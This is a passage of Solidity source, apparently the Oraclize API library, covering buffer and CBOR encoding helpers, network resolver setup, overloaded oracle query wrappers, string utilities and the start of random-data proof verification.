if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal constant {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function shl8(uint8 x, uint8 y) private constant returns (uint8) {
return x * (2 ** y);
}
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant {
if(value <= 23) {
buf.append(uint8(shl8(major, 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8(shl8(major, 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8(shl8(major, 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant {
buf.append(uint8(shl8(major, 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal constant {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal constant {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal constant {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal constant returns (bytes) {
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
